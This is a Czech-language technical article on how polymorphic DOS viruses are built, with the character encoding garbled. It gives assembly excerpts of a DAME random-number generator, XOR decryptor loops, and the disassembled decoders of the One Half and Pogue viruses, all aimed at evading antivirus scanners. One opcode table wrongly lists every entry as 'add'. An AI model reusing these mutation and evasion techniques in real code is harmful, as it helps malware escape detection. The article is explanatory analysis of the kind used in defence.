Konstrukce polymorfnφch vir∙

Polymorfnφ viry jsou bezesporu nejp°ita₧liv∞jÜφ skupinou vir∙. K≤d, kter² je schopen poka₧dΘ jin²m zp∙sobem vygenerovat svΘ t∞lo, ji₧ podv∞dom∞ budφ zv∞davost a nabφzφ myÜlenkovou paralelu s viry biologick²mi. I polymorfnφ virus je vÜak stßle pouh²m programem, kter² pracuje tak, jak byl programßtorem sestaven.
Jßdrem polymorfnφch vir∙ je algoritmus k≤dovacφho a dek≤dovacφho mechanismu. Existujφ dva zßkladnφ druhy k≤dovacφch mechanism∙:

Reverzibilnφ algoritmus

K≤der i dek≤der je integrovßn do jednoho mechanismu, pou₧itelnΘho pro oba ·Φely. Reverzibilita b²vß Φasto nejΦast∞ji dosa₧ena pomocφ logickΘ operace xor. Reverzibilnφ algoritmus je v²hradn∞ pou₧φvßn viry semi-polymorfnφmi, jejich₧ k≤dovßnφ je velice primitivnφ a stojφ na hierarchickΘm stupni v²voje pod viry pln∞ polymorfnφmi.

Nereverzibilnφ algoritmus

Nereverzibilnφ mechanismus mß separßtn∞ odd∞len² kodΘr i dekodΘ°. K≤dovßnφ je tvo°eno zejmΘna postupn²m a poka₧dΘ jin²m sklßdßnφm v²poΦtu, kterΘ neumo₧≥uje identickΘ pou₧itφ pro dek≤dovßnφ.
Oba druhy k≤dovacφch mechanism∙ b²vajφ v t∞le viru proklßdßny nev²znamn²mi instrukcemi, kterΘ slou₧φ zejmΘna pro znesnadn∞nφ detekce viru antivirov²mi programy, ale takΘ i pro p°φpadnΘ zajiÜt∞nφ prom∞nnΘ dΘlky viru.
Nezbytnou souΦßstφ polymorfnφch vir∙ je generßtor pseudonßhodn²ch Φφsel, kter² je viry vyu₧φvßn pro nßhodn² v²b∞r pou₧itφ registr∙, mechanismu k≤dovßnφ apod. Generovßnφ pseudonßhodn²ch Φφsel b²vß r∙znΘ, od p°φmΘho pou₧itφ hodnot aktußlnφho Φasu a₧ po rekurentnφ v²poΦty, pou₧φvajφcφ systΘmov² ΦasovaΦ.
V reßlnΘm sv∞t∞ se polymorfnφ viry vyskytujφ tΘm∞° v²hradn∞ v podob∞ vir∙ souborov²ch. Bootovacφ podoba polymorfnφch vir∙ je velice vzßcnß (nap°. virus Zaraza), co₧ je dßno zejmΘna tφm, ₧e bootovacφ viry majφ pro svΘ maskovßnφ dostatek p°φle₧itosti p°i zavßd∞nφ operaΦnφho systΘmu, kdy mohou vyu₧φvat p°φmΘ stealth techniky.

Princip implementace polymorfismu

Virov² polymorfismus je zalo₧en na dvou zßkladnφch principech instrukΦnφho souboru mikroprocesor∙ °ady INTEL, pou₧φvan²ch v poΦφtaΦφch PC. VÜechny instrukce procesoru majφ definovanou masku s parametrick²m bitov²m polem, kterΘ up°es≥uje pracovnφ operandy. Polymorfnφ viry vyu₧φvajφ prßv∞ tuto podobnost, je₧ jim zaruΦuje prßv∞ stejnß maska pro instrukce podobnΘho v²znamu.

P°φmß podobnost instrukcφ

P°φmß podobnost vyu₧φvß sousednosti instrukcφ v instrukΦnφm souboru. Nap°. hexadecimßlnφ hodnotou b8 zaΦφnß sekce instrukcφ napl≥ujφcφ 16bitov² registr p°φm²m operandem:

b8h ... mov ax, "primy operand"
b9h ... mov cx, "primy operand"
bah ... mov dx, "primy operand"
bbh ... mov bx, "primy operand"
bch ... mov sp, "primy operand"
bdh ... mov bp, "primy operand"
beh ... mov si, "primy operand"
bfh ... mov di, "primy operand"
 

Tuto podobnost vyu₧φvß nap°. virus One Half (podrobn∞ji viz dßle) pro v²b∞r dek≤dovacφho registru. Prost² souΦet hodnoty b8h a hodnoty nßhodnΘho Φφsla v rozsahu 0 a₧ 7 generuje p°φsluÜn² registr. K≤d bch b²vß viry zapov∞zen, nebo¥ ukazatel na zßsobnφk je z pochopiteln²ch d∙vod∙ tabu.
╚asto vyu₧φvanou je podobnost push a pop instrukcφ:

50h ... push ax      58h ... pop ax
51h ... push cx      59h ... pop cx
52h ... push dx      5ah ... pop dx
53h ... push bx      5bh ... pop bx
54h ... push sp      5ch ... pop sp
55h ... push bp      5dh ... pop bp
56h ... push si      5eh ... pop si
57h ... push di      5fh ... pop di
 

Podobnost skupiny instrukcφ

V tomto p°φpad∞ se jednß o vφcebajtovΘ instrukce, kdy prvnφ bajt specifikuje skupinu instrukcφ (aritmetickΘ operace, operace posuvu a rotacφ apod.) a a₧ druh² bajt urΦuje samotn² k≤d instrukce. Druh² bajt instrukce mß definovan² bitov² tvar XXYYYZZZ, kde prvnφ dva bity XX udßvajφ m≤d, prost°ednφ t°i bity YYY p°edstavujφ po₧adovanou instrukci a poslednφ t°i bity ZZZ specifikujφ operand (registr Φi pam∞t). Pro polymorfismus jsou d∙le₧itΘ zejmΘna bity YYY aritmetick²ch operacφ, jejich₧ kombinace p°edstavujφ tyto instrukce:

000 ... add
001 ... add
010 ... add
011 ... add
100 ... add
101 ... add
110 ... add
111 ... add
 

Vymaskovßnφ, resp. nastavenφ bit∙ YYY na hodnotu nßhodnΘho Φφsla z intervalu 0 a₧ 7 op∞t generuje p°φsluÜnou instrukci.

Generßtor pseudonßhodn²ch Φφsel

SystΘmov² Φas, resp. ΦφtaΦ cykl∙ ΦasovaΦe 8253 pat°φ k zßkladnφm zp∙sob∙m, jak mohou polymorfn∞ zam∞°enΘ viry zφskat "nßhodnou" Φφselnou hodnotu. ╚asovaΦ taktuje ka₧d²ch 55 ms a jeho hodnota je viry zp°φstup≥ovßna zejmΘna p°es port 40h. DalÜφ mo₧nostφ je ekvivalentnφ p°φmΘ Φtenφ z prom∞nnΘ BIOSu na adrese 0:046c.
Strukturou generßtoru charakterizuje ukßzka vybranß ze zdrojovΘho tvaru DAME (Dark Angel`s Multiple Engine) algoritmu. Obecnß podoba generßtoru b²vß tvo°ena dv∞ma st∞₧ejnφmi Φßstmi: poΦßteΦnφ pseudonßhodnou inicializaΦnφ rutinou a rekurentnφm vzorcem pro vlastnφ v²poΦet pseudonßhodnΘho Φφsla.

Inicializace generßtoru pseudonßhodn²ch Φφsel.

init_rnd:
     	push dx		; uschova registru
	push cx
	push bx
	mov ah, 2ch	; sluzba "Cti systemovy cas"
	int 21h		; Obsazeni registru po provedeni sluzby:
			; CH ... hodiny (0 az 23)
			; CL ... minuty (0 az 59)
			; DH ... sekundy (0 az 59)
			; DL ... setiny sekund (0 az 99)
 

Pro n∞kterΘ viry je generßtor pseudonßhodn²ch Φφsel tvo°en pouze tφmto volßnφm. Virus Brain nap°. pou₧φvß pro k≤dovßnφ xor-konstantu pouze hodnotu registru dl. Z rozsahu setin sekund je z°ejmΘ, ₧e virus m∙₧e vygenerovat sto r∙zn∞ k≤dovan²ch tvar∙ virovΘho t∞la.

in    al, 40h		; nacteni casovace
mov   ah, al
in    al, 40h		; nacteni casovace
xor   ax, cx		; rozsireni na cely rozsah cisla integer
xor   dx, ax            ;
jmp   short rnd_done    ; skok na konec generatoru

V²poΦet pseudonßhodnΘho Φφsla.

get_rnd:
	push dx         ; uschova registru
	push cx
	push bx
	in   al, 40h	; nacteni casovace
	db   05h	; add ax, hodnota patch1
patch1	     dw 0	; prvni rekurentni konstanta
	db 0bah		; mov dx, hodnota patch2
patch2	     dw 0	; druha rekurentni konstanta
	mov  cx, 7	; sedmipruchodova
rnd_loop:		; smycka
	shl  ax, 1	; pro
	rcl  dx, 1	; vypocet
	mov  bl, al	; pseudonahodneho
	xor  bl, dh	; cisla
	jns  lbl	;
	inc  al		;
lbl:
	loop rnd_loop
rnd_done:		; ukonceni generovani
	mov  patch1, ax	; naplneni
	mov  patch2, dx ; rekurentnich konstant
	mov  al, dl     ; "doladeni" vysledku
	pop  bx		; obnova registru
	pop  cx
	pop  dx
	retn 		; pseudonahodne cislo je v registru AX
 

V t∞le polymorfnφ Φßsti viru je pak generßtor volßn instrukcemi "call init_rnd" pro poΦßteΦnφ nastartovßnφ generßtoru a "call get_rnd" pro zφskßnφ pseudonßhodnΘho Φφsla. ZφskanΘ pseudonßhodnΘ Φφslo je pak pro pot°ebu danΘho maximßlnφho rozsahu 0 a₧ MAX o°ezßno instrukcφ "and ax, MAX", resp. "and al, MAX".

Semi-polymorfnφ reverzibilnφ algoritmus

ZnaΦnΘ mno₧stvφ vir∙ vyu₧φvß primitivnφ semi-polymorfnφ techniku k≤dovßnφ prost°ednictvφm logickΘ operace xor, kterß umo₧nuje zak≤dovat a odk≤dovat dan² ·daj pomocφ stejnΘho klφΦe.
Uve∩me p°φklad. Nech¥ jsou dßny hexadecimßlnφ hodnoty k≤dovanΘho bajtu "ff" a (de)k≤dovacφho klφΦe "a1". Pak platφ:

ff   xor   a1   =   5e   ... k≤dovßnφ
5e   xor   a1   =   ff   ... dek≤dovßnφ
 

Jak je vid∞t, po dvojφ aplikaci stejnΘho k≤dovacφho klφΦe obdr₧φme v²chozφ bajt. U t∞chto vir∙ m∙₧eme nejΦast∞ji nalΘzt tuto typickou posloupnost instrukcφ, plnφcφ funkci dek≤dovacφ rutiny:

	mov  bx, adresa pocatku zakodovaneho tela
	mov  dl, (od)kodovaci xor-konstanta
	mov  cx, delka zakodovaneho tela v bajtech
vlasti_smycka:
	xor  cs:[bx], dl	; vlastni odkodovani
	inc  bx			; posun na dalsi zakodovany bajt
	loop vlastni_smycka
 

Samoz°ejm∞, m∙₧e se liÜit pou₧itφ n∞kter²ch registr∙ Φi lze p°φpadn∞ dek≤dovat mφsto bajt∙ slova, ale princip v₧dy z∙stßvß tent²₧. Uvedenß metoda je navφc velice v²hodnß z d∙vodu univerzßlnosti tΘto rutiny jak pro k≤dovßnφ tak i pro dek≤dovßnφ.
K≤dovacφ konstanta je pseudonßhodnß, jejφ mo₧nosti byly naznaΦeny v p°edchozφ kapitole.
Mo₧nosti tΘto metody jsou siln∞ omezenΘ. Maximßlnφ mo₧nostφ, jak ztφ₧it detekovatelnost antivirov²mi scannery, je proklßdßnφ k≤du nev²znamn²mi instrukcemi. Ve svΘ podstat∞ statickß dek≤dovacφ smyΦka umo₧≥uje vyhledßvat tyto viry jednoduÜe pomocφ identifikaΦnφch virov²ch °etezc∙.
Na rozdφl od pln∞ polymorfnφch vir∙ je semi-polymorfismus hojn∞ vyu₧φvßn i bootovacφmi viry.

Polymorfnφ reverzibilnφ algoritmus

I pro pln∞ polymorfnφ viry je z programßtorskΘho hlediska pro dosa₧enφ reverzibility algoritmu nejsna₧Üφ, a v podstat∞ i jedinou, mo₧nostφ pou₧itφ logickΘ operace xor. Virus One Half je u nßs jednφm z nejznßm∞jÜφch p°edstavitel∙ tΘto skupiny. ┌vodnφ dek≤dovacφ smyΦka je slo₧enß nßv∞Ütφ, je₧ ka₧dΘ mß nßsledujφcφ strukturu:
V²konnß instrukce.
Nßhodn² poΦet nev²znamn²ch instrukcφ p°ed nebo za v²konnou instrukcφ.
Instrukce skouku na dalÜφ nßv∞Ütφ.

I po°adφ jednotliv²ch nßv∞Ütφ, je₧ jsou umis¥ovßna do t∞la infikovanΘho programu (!) generuje One Half nßhodn∞, co₧ ·pln∞ znemo₧≥uje jeho detekci pomocφ b∞₧n²ch antivirov²ch scanner∙. Nev²znamn²mi instrukcemi jsou instrukce "nop", "stc","clc","sti","cs:","ss:","ds:","cld","std","cmc". Tyto instrukce nemajφ vliv na vlastnφ b∞h dekodΘru, slou₧φ pouze ke zmatenφ scanneru. Instrukce skoku jsou generovßny bu∩ typu "jmp nßv∞Ütφ" nebo "jmp short nßv∞Ütφ".
Jedna z podob reßlnΘ mutace virem One Half infikovanΘho COM programu vypadß takto:

start:				; puvodni program (virovy lapac)
	jmp  go
	db   1536 dup (0)	; velikostni vypln (1536=600h)
go:
	int 20h
 

Infikovan² program, tvo°en² v naÜem p°φpad∞ pouze velikostnφ v²plnφ, je nßv∞Ütφmi dekodΘru tvrd∞ p°epsßn. P°epsanΘ Φßsti jsou uschovßny v zak≤dovanΘm t∞le viru a p°ed pozd∞jÜφm p°edßnφm °φzenφ infikovanΘmu programu virus zajiÜ¥uje jejich obnovu, tak₧e u₧ivatel za b∞₧n²ch okolnostφ nic nepoznß. Tento postup navφc vy°azuje z Φinnosti odvirovacφ programy pracujφcφ na principu univerzßlnφho cleanu. LΘΦba takto zavirovan²ch program∙ b²vß realizovßna zejmΘna jedno·Φelov²mi programy.

start:			; zavirovany tvar
	jmp lbl_5		; skok na vstupni navesti dekoderu
 

	db  542 dup (0)	; cast zavirovaneho programu
 

lbl_1:			; vlastni dekodovani
	ss:
	xor [si], di	; xor [indexovaci registr], dekodovaci registr
	nop
 	jmp lbl_4
 

	db  18 dup (0)	; cast zavirovaneho programu
 

lbl_2:			; otestovani priznaku ukonceni dekodovani
	jnz lbl_1	; jne lbl_1 nebo jnz lbl_1
	stc
	cs:
	std
	jmp virus_entry	; ukonceni dekodovani
 

 	db  47 dup (0)	; cast zavirovaneho programu
 

lbl_3:
	pop ds		; pouze moznost pop ds
	nop
	jmp lbl_10
 

	db  71 dup (0)	; cast zavirovaneho programu
 

lbl_4:			; akutualizace dekodovaci konstanty
	add di, 2eefh	; add dekodovaci registr, konstanta
	jmp short lbl_6
 

	db  38 dup (0)	; cast zavirovaneho programu
 

lbl_5:
	push ax		; pouze moznost push ax
	stc
	cld
	jmp lbl_9
 

 	db  33 dup (0)	; cast zavirovaneho programu
 

lbl_6:			; posun na dalsi zakodovane slovo
	ds:
	stc
	cs:
	inc si		; inc indexovaci registr
	jmp short lbl_7
 

	db  9 dup (0)	; cast infikovaneho programu
 

lbl_7:			; test, je-li vse dekodovano
	cmp si, 14ddh	; cmp indexovaci registr,
			; offset pocatek_zakodovaneho_viru + delka viru
	jmp lbl_2
 

	db 142 dup (0) 	; cast infikovaneho programu
 

lbl_8:			; uvodni naplneni dekodovaciho registru
	mov di, 0ce3bh	; vyber dekodovaciho registru ax, bx, cx, dx, bp, si, di
			; s ohledem na kolizi s indexovacim registrem
			; a jeho naplneni pocatecni dekodovaci konstantou
	cld
	sti
	cld
	jmp lbl_1
 

	db  50 dup (0) 	; cast infikovaneho programu
 

lbl_9:
	cld
	cmc
	push ss		; push cs nebo push ss
	clc
	jmp lbl_3
 

	db  354 dup (0) ; cast infikovaneho programu
 

lbl_10:			; nastaveni pocatecniho mista pro dekodovani
	mov si, 705h	; vyber indexovaciho registru bx, si, di
			; a jeho naplneni hodnotou offset pocatek_zakodovaneho_viru
	jmp lbl_8
 

	db 164 dup (0)	; cast infikovaneho programu
 

Velikostnφ souΦet db-v²plnφ infikovanΘho programu Φinφ 1468 bajt∙, zbyl²ch 68 bajt∙ je dΘlka samotnΘho dekodΘru.

go:
	int 20h		; zbytek infikovaneho programu
 
pocatek_zakodovaneho_viru:
	Zakodovane telo viru One Half
 

Pln∞ polymorfnφ mechanismus, na rozdφl od semi-polymorfnφch p°edch∙dc∙, zcela odsouvß do role statisty antivirovΘ scannery pracujφcφ na principu virov²ch identifikaΦnφch °etezc∙. KlφΦem k detekci polymorfnφch vir∙ je heuristickß metoda anal²zy k≤du programu.

P°φklad souboru p°ed zavirovßnφm...
...a po zavirovßnφ virem OneHalf.3544. VÜimn∞te si deseti krßtk²ch programk∙, kterΘ jsou nßhodn∞ rozneseny p°ed samotn²m virem. Tyto progrßmky jsou navzßjem propojeny skoky, a dohromady tvo°φ dek≤dovacφ rutinu. Na zmatenφ antivir∙ jsou tyto krßtkΘ progrßmky plnΘ nic ned∞lajφcφch instrukcφ jako: nop, stc, clc, sti, cs:, ss:, ds:, cld, std, cmc.

Polymorfnφ nereverzibilnφ algoritmus

Podstatou nereverzibilnφch virov²ch mechanism∙ je postupnΘ sklßdßnφ k≤du, resp. pln∞nφ hodnot p°φsluÜn²ch registr∙ provßd∞nφm dφlΦφch instrukcφ. Velice trefn²m p°irovnßnφm jsou populßrnφ puzzle. Nap°. realizovat instrukci "add ax, 2" je mo₧nΘ nep°ebern²m mno₧stvφm variant kombinacφ instrukcφ "inc","add","dec" a "sub":

inc  ax	inc ax	add ax,4
inc  ax	add ax,1	sub ax,2
 

Stejn∞ tak i plnφcφ instrukci "mov ax, 606h" lze realizovat zaml₧ujφcφm postupem:

mov ax, 202h	; AX=202h
mov bx, 101h	; BX=101h
add ax, bx	; AX=303h
shl ax, 1	; nasobeni dvema => AX=606h
 

Obdobn²m zp∙sobem mohou nereverzibiln∞ zam∞°enΘ viry modifikovat pou₧itφ skokov²ch instrukcφ prost°ednictvφm skok∙ p°es pomocnß nßv∞Ütφ, p°φp. instrukci cyklu "loop" mohou nahradit posloupnostφ instrukcφ "dec cx" a "jnz navesti_smycky" apod. Dß se °φci, ₧e mo₧nosti jsou omezeny pouze fantaziφ a schopnostmi virov²ch pisatel∙.
Nereverzibilnφ mechanismy poskytujφ i pru₧n∞jÜφ prost°edky pro mo₧nost generovßnφ prom∞nnΘ dΘlky viru, ne₧ je tomu v p°φpad∞ algoritm∙ reverzibilnφch.
Typick²m p°φkladem je nereverzibilnφ MtE mechanismus viru Pogue, infikujφcφ programy typu COM:

start:
	dec bp		; priznak zavirovaneho souboru
	jmp dekoder
	... infikovany program ...
 
dekoder:
	mov bp, 0a16ch	; bp=a16c
	mov cl, 3
	ror bp, cl	; bp=942d
	mov cx, bp
	mov bp, 856eh	; bp=856e
	or  bp, 740fh	; bp=f56f
	mov si, bp
	mov bp, 3b92h	; bp=3b92
	add bp, si	; bp=3101
	xor bp, cx	; bp=a52c
	sub bp, 0b10ch	; bp=f420
 

Uvodnφ Φßst dekodΘru pouze maskuje v²znamov∞ jedinou instrukci "mov bp, 0f420h". Tato hodnota slou₧φ v nßsledujφcφ smyΦce k bßzovΘ Φßsti adresy zak≤dovanΘho t∞la viru.

smycka:
	mov bx, [bp + 0d23h]	; poprve - mov bx, [0143]
	add bx, 9d64h		; vlastni dekodovani
	xchg [bp + 0d23h], bx	; a opetovne ulozeni zpracovaneho slova
 

Virus refinovan∞ vyu₧φvß p°eteΦenφ v²sledku souΦtu hodnot bp a 0d23h; nastavenφ p°φznaku CF je v tomto p°φpad∞ nepodstatnΘ.

	mov bx, 8f31h
	sub bx, bp		; 9b11
	mov bp, 8f33h
	sub bp, bx		; bp=f422 (tj. add bp,2)
	jnz smycka
 

Instrukce posunu algoritmu na dalÜφ zak≤dovanΘ slovo ("add bp, 2") je op∞t zamaskovßna. PoΦßteΦnφ bßzovß hodnota f420h nenφ nßhodnß, ale je vybrßna s ohledem na po₧adovan² poΦet 1520 iteracφ, co₧ odpovφdß, vzhledem ke slovnφm operacφm, velikosti 3040 B zak≤dovanΘ Φßsti viru. Hodnota je dßna v²razem (64 kB - f420 + 1) / 2 = 1520.

	mov bx, bp
	mov cl, 3
	ror bx, cl
 

Zßv∞reΦnß Φßst dekodΘru je slo₧ena z nev²znamn²ch instrukcφ, pomocφ nich₧ virus dosahuje prom∞nnΘ dΘlky svΘho t∞la. Je zajφmavΘ sledovat, ₧e nev²znamn²mi instrukce nejsou pouze jednobajtovΘ instrukce typu "nop" Φi "cmc", ale podstatn∞ komplikovan∞jÜφ konstrukce.

segment:0143
	... zakodovana cast tela viru Pogue ...